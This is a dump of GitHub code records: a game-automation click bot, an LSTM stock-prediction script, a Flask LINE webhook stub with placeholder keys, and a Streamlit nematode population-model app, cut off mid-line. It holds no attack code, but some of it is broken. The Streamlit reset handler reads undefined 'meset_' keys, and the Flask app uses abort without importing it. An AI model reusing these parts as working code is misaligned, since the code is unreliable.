range(638,753,5):\r\n            if self.check_shiqu(hwnd,x,110):\r\n                return\r\n        for x in range(642,745,5):\r\n            if self.check_shiqu(hwnd,x,120):\r\n                return\r\n        for x in range(653,750,5):\r\n            if self.check_shiqu(hwnd,x,130):\r\n                return\r\n        for x in range(663,730,5):\r\n            if self.check_shiqu(hwnd,x,140):\r\n                return\r\n        for x in range(680,730,5):\r\n            if self.check_shiqu(hwnd,x,150):\r\n                return\r\n\r\n    def check_shiqu(self,hwnd,x,y):\r\n        Controls.win_mouse_click(hwnd,x,y)\r\n        Controls.get_screen(hwnd)\r\n        shiqu = Controls.locate(\"image\\cj_shiqu.png\",hwnd,0.8)\r\n        if shiqu:\r\n            Controls.win_mouse_click_box(hwnd,shiqu,True)\r\n            return True\r\n        return False", "repo_name": "nathonNot/game_robot", "sub_path": "game_robot/jiuyin/script/CaiJi.py", "file_name": "CaiJi.py", "file_ext": "py", "file_size_in_byte": 2105, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "lib.BaseModule.BaseModule", "line_number": 7, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 12, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 12, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.activate_hwnd", "line_number": 15, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 15, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.un_activate_hwnd", "line_number": 17, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 17, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.win_mouse_click", "line_number": 61, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 61, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.get_screen", "line_number": 62, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 62, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.locate", "line_number": 63, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 63, "usage_type": "name"}, {"api_name": "lib.gui_controls.Controls.win_mouse_click_box", "line_number": 65, "usage_type": "call"}, {"api_name": "lib.gui_controls.Controls", "line_number": 65, "usage_type": "name"}]}
{"seq_id": "35096297593", "text": "import plotly.graph_objects as go\nimport math\nfrom sklearn.metrics import mean_squared_error\nimport time\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\n\n\ninput_dim = 1\nhidden_dim = 32\nnum_layers = 4\noutput_dim = 1\nnum_epochs = 200\n\n\n# LSTM\n\nclass LSTM(nn.Module):\n    def __init__(self, input_dim, hidden_dim, num_layers, output_dim):\n        super(LSTM, self).__init__()\n        self.hidden_dim = hidden_dim\n        self.num_layers = num_layers\n\n        self.lstm = nn.LSTM(input_dim, hidden_dim,\n                            num_layers, batch_first=True)\n        self.fc = nn.Linear(hidden_dim, output_dim)\n\n    def forward(self, x):\n        h0 = torch.zeros(self.num_layers, x.size(\n            0), self.hidden_dim).requires_grad_()\n        c0 = torch.zeros(self.num_layers, x.size(\n            0), self.hidden_dim).requires_grad_()\n\n        out, (hn, cn) = self.lstm(x, (h0.detach(), c0.detach()))\n        out = self.fc(out[:, -1, :])\n        return out\n\n\ndef train_LSTM(x_train, x_test, y_train, y_test, scaler, price, lookback):\n    model = LSTM(input_dim=input_dim, hidden_dim=hidden_dim,\n                 output_dim=output_dim, num_layers=num_layers)\n    criterion = torch.nn.MSELoss(reduction='mean')\n    optimiser = torch.optim.Adam(model.parameters(), lr=0.01)\n\n    #optimiser = torch.optim.SGD(model.parameters(), lr=0.01, momentum=0.1, weight_decay=1e-5)\n    #optimiser = torch.optim.LBFGS(model.parameters(), lr=0.01)\n    hist = np.zeros(num_epochs)\n    start_time = time.time()\n    lstm = []\n\n    for t in range(num_epochs):\n        y_train_pred = model(x_train)\n\n        loss = criterion(y_train_pred, y_train)\n        print(\"Epoch \", t, \"MSE: \", loss.item())\n        hist[t] = loss.item()\n\n        optimiser.zero_grad()\n        loss.backward()\n        optimiser.step()\n\n    print()\n    training_time = time.time()-start_time\n    print(\"Training time: {}\".format(training_time))\n\n    predict = pd.DataFrame(scaler.inverse_transform(\n        y_train_pred.detach().numpy()))\n    original = pd.DataFrame(scaler.inverse_transform(\n        y_train.detach().numpy()))\n\n    # make predictions\n    y_test_pred = model(x_test)\n\n    # invert predictions\n    y_train_pred = scaler.inverse_transform(y_train_pred.detach().numpy())\n    y_train = scaler.inverse_transform(y_train.detach().numpy())\n    y_test_pred = scaler.inverse_transform(y_test_pred.detach().numpy())\n    y_test = scaler.inverse_transform(y_test.detach().numpy())\n\n    # calculate root mean squared error\n    trainScore = math.sqrt(mean_squared_error(\n        y_train[:, 0], y_train_pred[:, 0]))\n    print('Train Score: %.2f RMSE' % (trainScore))\n    testScore = math.sqrt(mean_squared_error(y_test[:, 0], y_test_pred[:, 0]))\n    print('Test Score: %.2f RMSE' % (testScore))\n    lstm.append(trainScore)\n    lstm.append(testScore)\n    lstm.append(training_time)\n\n    # shift train predictions for plotting\n    trainPredictPlot = np.empty_like(price)\n    trainPredictPlot[:, :] = np.nan\n    trainPredictPlot[lookback:len(y_train_pred)+lookback, :] = y_train_pred\n\n    # shift test predictions for plotting\n    testPredictPlot = np.empty_like(price)\n    testPredictPlot[:, :] = np.nan\n    testPredictPlot[len(y_train_pred)+lookback-1:len(price)-1, :] = y_test_pred\n\n    original = scaler.inverse_transform(price['Close'].values.reshape(-1, 1))\n\n    predictions = np.append(trainPredictPlot, testPredictPlot, axis=1)\n    predictions = np.append(predictions, original, axis=1)\n    result = pd.DataFrame(predictions)\n\n    fig = go.Figure()\n    fig.add_trace(go.Scatter(go.Scatter(x=result.index, y=result[0],\n                                        mode='lines',\n                                        name='Train prediction')))\n    fig.add_trace(go.Scatter(x=result.index, y=result[1],\n                             mode='lines',\n                             name='Test prediction'))\n    fig.add_trace(go.Scatter(go.Scatter(x=result.index, y=result[2],\n                                        mode='lines',\n                                        name='Actual Value')))\n    fig.update_layout(\n        xaxis=dict(\n            showline=True,\n            showgrid=True,\n            showticklabels=False,\n            linecolor='white',\n            linewidth=2\n        ),\n        yaxis=dict(\n            title_text='Close (USD)',\n            titlefont=dict(\n                family='Rockwell',\n                size=12,\n                color='white',\n            ),\n            showline=True,\n            showgrid=True,\n            showticklabels=True,\n            linecolor='white',\n            linewidth=2,\n            ticks='outside',\n            tickfont=dict(\n                family='Rockwell',\n                size=12,\n                color='white',\n            ),\n        ),\n        showlegend=True,\n        template='plotly_dark'\n\n    )\n\n    annotations = []\n    annotations.append(dict(xref='paper', yref='paper', x=0.0, y=1.05,\n                            xanchor='left', yanchor='bottom',\n                            text='Results (LSTM)',\n                            font=dict(family='Rockwell',\n                                      size=26,\n                                      color='white'),\n                            showarrow=False))\n    fig.update_layout(annotations=annotations)\n\n    fig.show()\n\n    return lstm\n", "repo_name": "nefelitav/stock-prediction", "sub_path": "src/LSTM_model.py", "file_name": "LSTM_model.py", "file_ext": "py", "file_size_in_byte": 5321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "time.time", "line_number": 50, "usage_type": "call"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 68, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 83, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 83, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.empty_like", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.empty_like", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 106, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 108, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 108, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 109, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 109, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 112, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 112, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 115, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 115, "usage_type": "name"}]}
{"seq_id": "1145778004", "text": "from flask import Flask, request\nimport antolib\nfrom linebot import (\n    LineBotApi, WebhookHandler,\n)\nfrom linebot.exceptions import (\n    InvalidSignatureError, LineBotApiError,\n)\nfrom linebot.models import (\n    MessageEvent, TextMessage, TextSendMessage\n)\n\nline_bot_api = LineBotApi('YOUR_CHANNEL_ACCESS_TOKEN')\nhandler = WebhookHandler('YOUR_CHANNEL_SECRET')\n\napp = Flask(__name__)\n\n# username of anto.io account\nuser = 'YOUR_USERNAME'\n# key of permission, generated on control panel anto.io\nkey = 'YOUR_KEY'\n# your default thing.\nthing = 'YOUR_THING'\n\nanto = antolib.Anto(user, key, thing)\n\n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n    # get X-Line-Signature header value\n    signature = request.headers['X-Line-Signature']\n\n    # get request body as text\n    body = request.get_data(as_text=True)\n    app.logger.info(\"Request body: \" + body)\n\n    # handle webhook body\n    try:\n        handler.handle(body, signature)\n    except InvalidSignatureError:\n        abort(400)\n\n    return 'OK'\n\n\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n    message = event.message.text\n    # line_bot_api.reply_message(\n    #     event.reply_token,\n    #     TextSendMessage(text=\"Turn Off channel1\"))\n\nif __name__ == \"__main__\":\n    anto.mqtt.connect()\n    app.run(debug=True)\n", "repo_name": "suninmoon/Linebot-Anto-Tutorial", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "linebot.LineBotApi", "line_number": 13, "usage_type": "call"}, {"api_name": "linebot.WebhookHandler", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 16, "usage_type": "call"}, {"api_name": "antolib.Anto", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.get_data", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "linebot.exceptions.InvalidSignatureError", "line_number": 40, "usage_type": "name"}, {"api_name": "linebot.models.MessageEvent", "line_number": 46, "usage_type": "argument"}, {"api_name": "linebot.models.TextMessage", "line_number": 46, "usage_type": "name"}]}
{"seq_id": "7479267331", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport streamlit as st\nimport hydralit_components as hc\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Set page layout to centered and responsive\n# st.set_page_config(layout=\"wide\")\nst.set_page_config(layout='wide',initial_sidebar_state='collapsed')\n\n\n# specify the primary menu definition\nmenu_data = [\n    {'icon': \"far fa-copy\", 'label':\"Model & Parameters\"},\n    {'icon': \"far fa-chart-bar\", 'label':\"Simulation\"},#no tooltip message\n    {'icon': \"fas fa-tachometer-alt\", 'label':\"Settings\"},\n]\n\nover_theme = {'txc_inactive': '#FFFFFF', 'menu_background':'#85929E'}\nst.markdown(\"# Nemo\")\nmain_tab= hc.nav_bar(\n    menu_definition=menu_data,\n    override_theme=over_theme,\n    home_name='Introduction',\n    #login_name='Logout',\n    hide_streamlit_markers=False, #will show the st hamburger as well as the navbar now!\n    sticky_nav=True, #at the top or not\n    sticky_mode='pinned', #jumpy or not-jumpy, but sticky or pinned\n)\n\n\n# Define default parameter values\nst.session_state.setdefault(\"a_freq\", 0.0167)\nst.session_state.setdefault(\"init_infest_cyst\", 0.5)\nst.session_state.setdefault(\"deployment_type\", \"RNNNNRNNNNRNNNNRNNNNR\")\nst.session_state.setdefault(\"bc\", 0.0)\nst.session_state.setdefault(\"s\", 0.25)\nst.session_state.setdefault(\"m\", 0.35)\nst.session_state.setdefault(\"ha\", 0.1705)\nst.session_state.setdefault(\"v\", 0.9031)\nst.session_state.setdefault(\"M\", 15.9)\nst.session_state.setdefault(\"k\", 300)\nst.session_state.setdefault(\"detection_threshold\", -3)\nstep = 0.01\n                            \n\n# Define parameter values for reset\nst.session_state.setdefault(\"reset_a_freq\", 0.0167)\nst.session_state.setdefault(\"reset_init_infest_cyst\", 0.5)\nst.session_state.setdefault(\"reset_deployment_type\", \"RNNNNRNNNNRNNNNRNNNNR\")\nst.session_state.setdefault(\"reset_bc\", 0.0)\nst.session_state.setdefault(\"reset_s\", 0.25)\nst.session_state.setdefault(\"reset_m\", 0.35)\nst.session_state.setdefault(\"reset_ha\", 0.1705)\nst.session_state.setdefault(\"reset_v\", 0.9031)\nst.session_state.setdefault(\"reset_M\", 15.9)\nst.session_state.setdefault(\"reset_k\", 300)\nst.session_state.setdefault(\"reset_detection_threshold\", -3)\n\n# Set Streamlit app title\n#st.title(\"Nemo\")\ndef dec2(x):\n    d = round(x * 100) / 100\n    return d\ndef ratio(u,r):\n    r_attrib = []\n    for val in u:\n        if val == 0:\n            r_attrib.append(r)\n        else:\n            r_attrib.append(1)\n    return r_attrib\n\ndef attrib_constants(u,r):\n    M_A = [st.session_state.s * r_attributed for r_attributed in ratio(u,r)]\n    M_a = [st.session_state.s * r] * len(u)\n    F_A = [(st.session_state.s * (1 - r_attributed)) for r_attributed in ratio(u,r)]\n    F_a = [st.session_state.s * (1 - r)] * len(u)\n    return M_A, M_a, F_A, F_a\n\ndef generate_deployment_vector(input_string):\n    temp = \"\"\n    n_count = 0\n\n    for char in input_string:\n        if char == \"N\":\n            n_count += 1\n        else:\n            if n_count > 0:\n                temp += str(n_count)\n                n_count = 0\n\n            if temp and (temp[-1] == char or (temp[-1] == \"S\" and char == \"R\") or (temp[-1] == \"R\" and char == \"S\")):\n                temp += \"0\"\n            temp += char\n\n    if n_count > 0:\n        temp += str(n_count)\n\n    deployment = \"\"\n    jn = []\n\n    num_buffer = \"\"\n    for char in temp:\n        if char.isdigit():\n            num_buffer += char\n        else:\n            if num_buffer:\n                jn.append(int(num_buffer))\n                num_buffer = \"\"\n            deployment += char\n\n    if num_buffer:\n        jn.append(int(num_buffer))\n\n    jn_vector = [int(num) for num in jn]  # Convert jn to int vector\n    deployment_vector = [1 if char == 'R' else 0 for char in deployment]\n    if len(jn_vector)==len(deployment_vector):\n        jn_vector = jn_vector[:-1] # To discard deployment ended by Non-Host\n    return deployment_vector, jn_vector\n      \ndef generate_main_plot(tot,f_A, f_a, Y, Z,R):\n    fig, ax = plt.subplots(figsize=(14, 10), dpi=100)\n    nb_gen = len(tot)\n    ax.plot(np.arange(1, nb_gen+1), tot, '-r', linewidth=3)\n    th = st.session_state.k*10**(st.session_state.detection_threshold)\n    ax.plot([0, nb_gen], [th, th], 'k--', label='Detection threshold')\n    ax.set_xlabel(\"Generations\", fontsize=40)\n    ax.set_ylabel(\"PCNs/g of soil (log)\", fontsize=40)\n    ax.set_xlim([1, nb_gen])\n    ax.set_ylim([10**(-6), st.session_state.M*(R-1)])\n    ax.set_yscale('log')\n    tick_locations = [10**(-6), 10**0, th, 10**1, 10**2, 10**3]\n    tick_labels = [str(val) for val in [0] + tick_locations[1:]]\n    ax.set_yticks(tick_locations, tick_labels)\n    ax.tick_params(axis='both', which='major', labelsize=30)\n    ax.legend(fontsize=15)\n    # Create two columns with widths in the ratio 2:1\n    col1, col2 = st.columns([2, 1])\n    with col1:\n        # Display the plot in Streamlit\n        st.pyplot(fig)\n    with col2:\n        # Upper plot\n        with st.expander(\"Frequency of avirulence allele A\"):\n            # Create a new figure and axes\n            fig_upper, ax_upper = plt.subplots(figsize=(8, 5), dpi=100)\n\n            # Plot the upper plot data\n            ax_upper.plot(np.arange(1, nb_gen+1), f_A, linewidth=3)\n            ax_upper.set_xlabel(\"Generations\", fontsize=40)\n            #ax_upper.set_ylabel(\"Frequency of allele A\")\n            #ax_upper.set_title(\"Frequency of allele avirulence A\", fontsize=40)\n            ax_upper.tick_params(axis='both', which='major', labelsize=30)\n\n            # Display the upper plot using Streamlit's pyplot function\n            st.pyplot(fig_upper)\n\n        # Lower plot\n        with st.expander(\"Frequency of virulence allele a\"):\n            # Create a new figure and axes\n            fig_lower, ax_lower = plt.subplots(figsize=(8, 5), dpi=100)\n\n            # Plot the lower plot data\n            ax_lower.plot(np.arange(1, nb_gen+1), f_a, linewidth=3)\n            ax_lower.set_xlabel(\"Generations\", fontsize=40)\n            #ax_lower.set_ylabel(\"Frequency of allele a\")\n            #ax_lower.set_title(\"Frequency of allele virulence a\", fontsize=40)\n            ax_lower.tick_params(axis='both', which='major', labelsize=30)\n            # Display the lower plot using Streamlit's pyplot function\n            st.pyplot(fig_lower)\n\n\n\n# Main tab\n#with st.sidebar:\n#    main_tab = st.radio(\"Navigation\", [\"Introduction\", \"Model & Parameters\", \"Simulation\", \"Settings\"])\n\nif main_tab == \"Introduction\":\n    st.markdown(\"# Introduction\")\n    st.markdown(\"- Globodera pallida, or Potato Cyst Nematode (PCN), is a serious quarantine pest that threatens potato crops worldwide.\")\n    st.markdown(\"- The use of resistant potato cultivars is a popular sustainable pest control measure, but the evolution of PCN populations towards virulence can reduce the long-term effectiveness of resistance-based control.\")\n    st.markdown(\"- Masculinizing resistance prevents avirulent nematodes from producing females, which could ultimately eliminate avirulent PCNs from the population.\")\n    st.markdown(\"- However, [Shouten's model](https://link.springer.com/article/10.1007/BF03041409) tracing genotypic frequencies in real conditions shows that the long-term fixation of the virulence allele does not necessarily occur despite the selection pressure.\")\n    st.markdown(\"- Avirulent nematodes, which are exclusively male, survive as heterozygotes by mating with virulent females, weakening the PCN's reproduction number.\")\n    st.markdown(\"- Biocontrol efficiency required for PCN long-term suppression under resistant plants is lower than under susceptible plants.\")\n    st.markdown(\"- But the efficiency required even under resistant plant can be very high, thus unachievable\")\n    st.markdown(\"- Potato Cultivation Breaks (PCBs) are proven to be an efficient and sustainable lever of PCN control, but required long periods of cultivating non-host crops or leaving a bare soil\")\n    st.markdown(\"- Combining resistant cultivars with biocontrol methods and PCBs appears to be an effective solution for speeding up the suppression of PCN populations.\")\n    st.markdown(\"- The model presented for this simulation tracks at the same time the PCN genetics and dynamics to describe selection for virulence and biocontrol+PCB size needs under resistance.\")\n    st.markdown(\"- The user is able to enter the type of crop for each season - S for Susceptible, R for Resistant, N for Non-host (corresponding to a PCB) - and the app will draw the PCN population trajectories as well as the corresponding allele frequencies.\")\n\nelif main_tab == \"Model & Parameters\":\n    st.markdown(\"# Model & parameters\")\n    image1_path = \"figs/diagram.png\"\n    st.image(image1_path)\n    checkbox = st.checkbox(\"See the simple models\")\n    if checkbox:\n        st.markdown(\"$X_n \\longrightarrow AA$ PCNs, $\\qquad Y_n \\longrightarrow Aa$ PCNs, $\\qquad Z_n \\longrightarrow aa$ PCNs\")\n        st.markdown(\"- When susceptible plants are deployed in every generation and PCBs of size $j$ are always implemented between generations, the overall PCN population $N_n$ at generation $n$ is given by the law:\")\n        st.latex(r'''\n        \\begin{equation*}\n            N_{n+1}  = \\frac{R_jMN_n}{M + N_n}, \n        \\end{equation*}\n        ''')\n        st.markdown(\"Where $\\bar{R}_j(1-m)$ is the PCN female-adjusted basic reproduction number under $j$-year PCBs, and M is a population limiting fator due to competition. The different genotype frequencies are given by the Hardy-Weinberg principle.\")\n        st.markdown(\"- When resistance plants are deployed in every generation, the overall PCN population $N_n$ at generation $n$ is given by the law:\")\n        st.latex(r'''\n        \\begin{equation*}\n            \\left\\{\\begin{aligned}\n                N_{n+1} &= R_jMv_n\\displaystyle\\frac{N_n}{M+N_n}\\\\\n                v_{n+1} &= \\displaystyle\\frac{mv_n + \\frac{1}{2}(1-v_n)}{mv_n + (1-v_n)}\n        \\end{aligned}\\right.\n        \\end{equation*}\n        ''')\n        st.markdown(\"Where $N_n$ tracks the population dynamics while $v_n$ tracks the frequency of virulent nematodes (aa) and $m$ represents the relative proportion of juveniles that develop into virulent males to those that develop into avirulent males\")\n    st.markdown(\"### Basic reproduction number\")\n    checkbox = st.checkbox(\"Read the text\")\n    if checkbox:\n        st.markdown(\"- When regular $j$-years PCBs are implemented along with a biocontrol of efficacy $\\beta$, the basic reproduction number takes the following form.\")\n        st.latex(r'''\n        \\begin{equation*}G_j = ks[\\nu(1-h_a)(1-\\beta_c)]^{j+1}(1-m),\n        \\end{equation*}\n        ''')\n        st.markdown(\"Where s is the proportion of larvae that survive the larval stage to become adults.\")\n        \n        markdown_text = r'''\n        We introduce the notion of `female-adjusted basic reprodution number' $\\bar{R}_j = R_j/(1-m)$.\n        \n        Blocking resistances quickly become obsolete as the resistance gene is fixed by natural selection. Thus, as with susceptible plants, the long-term suppression of PCNs must be ensured by a biocontrol that brings the female-adjusted basic reprodution number $\\bar{R}_j$ of PCNs below 1/(1-m).\n\n        On the other hand, masculinizing resistances keep a partial resistance indefinitely. This is conditioned by the male allocation rate $m$. When $m < \\frac{1}{2}$, which is the case in real setups, it suffices to ensure the long-term suppression of PCNs\n        that control efforts bring the female-adjusted basic reproduction number $\\bar{R}_j$ below $2$. The partial resistance is ensured by the survival\n        of susceptible phenotype through the pairing of avirulent males with virulent females.\n        '''\n\n        st.markdown(markdown_text)\n    image2_path = \"figs/scenario_diagram.png\"\n    st.image(image2_path, width=1000)\n    checkbox = st.checkbox(\"Read annotations\")\n    if checkbox:\n        markdown_text_annotations = r'''\n        (1) $25\\%$ biocontrol efficacy without PCB\n        \n        (2) $36\\%$ biocontrol efficacy without PCB\n        \n        (3) $36\\%$ biocontrol efficacy with 1-year PCB\n        \n        (4) $36\\%$ biocontrol efficacy with 2-years PCB\n        \n        (5) $36\\%$ biocontrol efficacy with 3-years PCB\n        \n        (6) $36\\%$ biocontrol efficacy with 4-years PCB\n        '''\n        \n        st.markdown(markdown_text_annotations)\n    st.markdown(\"### Parameters\")\n    table_md = r'''\n    | Parameter | Description | Value | Range |\n    | --- | --- | --- | --- |\n    | $s$ | Survival rate of hatched larvae | $25\\%$ | [0,100\\%] |\n    | $m$ | Male allocation on susceptible plants | $35\\%$ | (0, 35\\%] |\n    | $k$ | Average number of eggs per cyst | 300 | [200, 500] |\n    | $\\nu$ | Viability of encysted larvae | $90.31\\%$ | [80, 99.9\\%] |\n    | $h_a$ | Yearly rate of accidental PCN hatching | 17.05% | [0, 35\\%] |\n    | $\\beta_c$ | Efficacy of the biocontrol | variable | [0, 99.9\\%] |\n    | $M$ | PCN limiting factor | 15.9  | --ajusted-- |\n    |  | Detection (cleaning) threshold | 0.01 cyst/g of soil | [0.01, 0.1] cyst/ g of soil |\n    '''\n    st.markdown(table_md)\n    st.markdown(\"In this table as in the simulation, the **efficacy of biocontrol** is modulable and we can analyze its effect on the PCN reproduction number and suppression. Other modulable parameters for simulation are the **initial frequency of virulence allele** and the **initial soil infestation**.\")\n    st.markdown(\"The detection threshold defines the PCN level below which the field is considered clean\")\n    st.markdown(\"The simulation allows to choose the plant breed which is deployed per season. The other parameters, very little variable and estimated on literature data, are in the Settings menu.\")\n    # Create a checkbox to toggle the hidden content\n    checkbox = st.checkbox(\"See the general model\")\n    if checkbox:\n        st.markdown(\"- More generally, under arbitrary deployment of susceptible and resistant plants, the model reads:\")\n        st.latex(r'''\n        \\begin{equation*}\n                \\left\\{\\begin{aligned}\n                X_{n+1} &= \\frac{G_{j_n} M}{M + (X_n+Y_n+Z_n)} \\displaystyle\\frac{M_A(n)F_A(n)\\big(X_n + \\frac{1}{2}Y_n\\big)^2}{M_A(n)(X_n+Y_n) + M_a(n)Z_n}, \\\\\n                \\\\\n                Y_{n+1} &= \\frac{G_{j_n} M}{M + (X_n+Y_n+Z_n)}  \\displaystyle\\frac{M_A(n)\\big(F_a(n)Z_n + \\frac{1}{2}F_A(n)Y_n \\big)\\big(X_n + \\frac{1}{2}Y_n \\big) + F_A(n)\\big(X_n + \\frac{1}{2}Y_n \\big)\\big(M_a(n)Z_n + \\frac{1}{2}M_A(n)Y_n \\big) }{M_A(n)(X_n+Y_n) + M_a(n)Z_n},\\\\\n                \\\\\n                Z_{n+1} &= \\frac{G_{j_n} M}{M + (X_n+Y_n+Z_n)} \\displaystyle\\frac{\\big(F_a(n)Z_n + \\frac{1}{2}F_A(n)Y_n\\big)\\big(M_a(n)Z_n + \\frac{1}{2}M_A(n)Y_n\\big)}{M_A(n)(X_n+Y_n) + M_a(n)Z_n},\n            \\end{aligned}\\right.\n        \\end{equation*}\n        ''')\n        st.markdown(\"Where $F_A$ (resp. $F_a$) is the proportion larvae that becomes avirulent (resp. virulent) female adults, and $G_{j_n}$ is the generation $n$'s growth factor provided there is a size-$j_n$ PCB after generation $n$.\")\n    # Add a link to expand/collapse the hidden content\n    #st.markdown(\"[Expand / Collapse](javascript:void(0);)\")\n    \n    \nelif main_tab == \"Simulation\":\n    st.markdown(\"# Simulation\")\n    if st.button(\"Reset all\"):\n        st.session_state.a_freq = st.session_state.meset_a_freq\n        st.session_state.init_infest_cyst = st.session_state.meset_init_infest_cyst\n        st.session_state.deployment_type = st.session_state.meset_deployment_type\n        st.session_state.bc = st.session_state.meset_bc\n        st.session_state.sav = st.session_state.meset_sav\n        st.session_state.sv = st.session_state.meset_sv\n        st.session_state.m = st.session_state.meset_r\n        st.session_state.ha = st.session_state.meset_ha\n        st.session_state.v = st.session_state.meset_v\n        st.session_state.M = st.session_state.meset_M\n        st.session_state.k = st.session_state.meset_k\n        st.session_state.detection_threshold = st.session_state.meset_detection_threshold\n    # Other parameters\n    colu1, colu2, colu3 = st.columns(3)\n    with colu1:\n        st.session_state.a_freq = st.slider(\"Initial frequency of the virulence allele (%):\", min_value=0.0, max_value=99.9, value=st.session_state.a_freq*100, step=0.1)/100\n        st.markdown(\"Click to select a type of crop to deploy. Do not begin nor end with Non-host.\")\n\n        col1, col2, col3, col4, col5, col6 = st.columns(6)\n        st.session_state.count_patern = 0\n        if 'pattern_temp' not in st.session_state:\n            st.session_state.pattern_temp = st.session_state.deployment_type\n        \n        if col1.button(\"Susc.\"):\n            st.session_state.deployment_type += \"S\"\n            st.session_state.count_patern = 0\n            \n        if col2.button(\"Resis.\"):\n            st.session_state.deployment_type += \"R\"\n            st.session_state.count_patern = 0\n\n        if col3.button(\"Non-host\"):\n            if st.session_state.deployment_type != \"\":\n                st.session_state.deployment_type += \"N\"\n                st.session_state.count_patern = 0\n                \n        if col4.button(\"Repeat pattern\"):\n            if st.session_state.count_patern == 0:\n                pattern = st.session_state.deployment_type\n                st.session_state.count_patern += 1\n            else:\n                pattern = st.session_state.pattern_temp\n                st.session_state.count_patern += 1\n            st.session_state.deployment_type += pattern\n            \n\n        if col5.button(\"Delete\"):\n            if len(st.session_state.deployment_type) > 0:\n                st.session_state.deployment_type = st.session_state.deployment_type[:-1]\n\n        if col6.button(\"Erase\"):\n            st.session_state.deployment_type = \"\"\n\n    with colu2:\n        st.session_state.init_infest_cyst = st.slider(\"Initial infestation (cysts/g of soil):\", min_value=0.01, max_value=2.0, value=st.session_state.init_infest_cyst, step=0.01)\n        # Display the deployment type\n        st.markdown(\"Deployment type\")\n        st.text(st.session_state.deployment_type)\n    with colu3:\n        st.session_state.bc = st.slider(\"Efficacy of biocontrol (%):\", min_value=0.0, max_value=99.9, value=st.session_state.bc*100, step=0.1)/100\n        st.session_state.detection_threshold = st.slider(f\"Detection threshold (10$^\\square$ cysts/g of soil)\", min_value=-3, max_value=-1, value=int(st.session_state.detection_threshold), step=1)\n        \n    #u = generate_deployment_vector(st.session_state.deployment_type, st.session_state.num_generations)\n    u, jn = generate_deployment_vector(st.session_state.deployment_type)\n    #st.markdown(str(u))\n    #st.markdown(str(jn))\n    if u!=[] and len(u)>len(jn):\n        #st.markdown(\"This is it\")\n        init_juveniles = st.session_state.init_infest_cyst*st.session_state.k\n        J_AA_0 = init_juveniles * (1-st.session_state.a_freq)**2\n        J_Aa_0 = init_juveniles * 2 * st.session_state.a_freq*(1-st.session_state.a_freq)\n        J_aa_0 = init_juveniles * (st.session_state.a_freq)**2\n\n        # --------------------- thresholds ----------------------------- #\n        # ------ jn-growth factors ------------\n\n        Gjn = [st.session_state.k * (st.session_state.v * (1 - 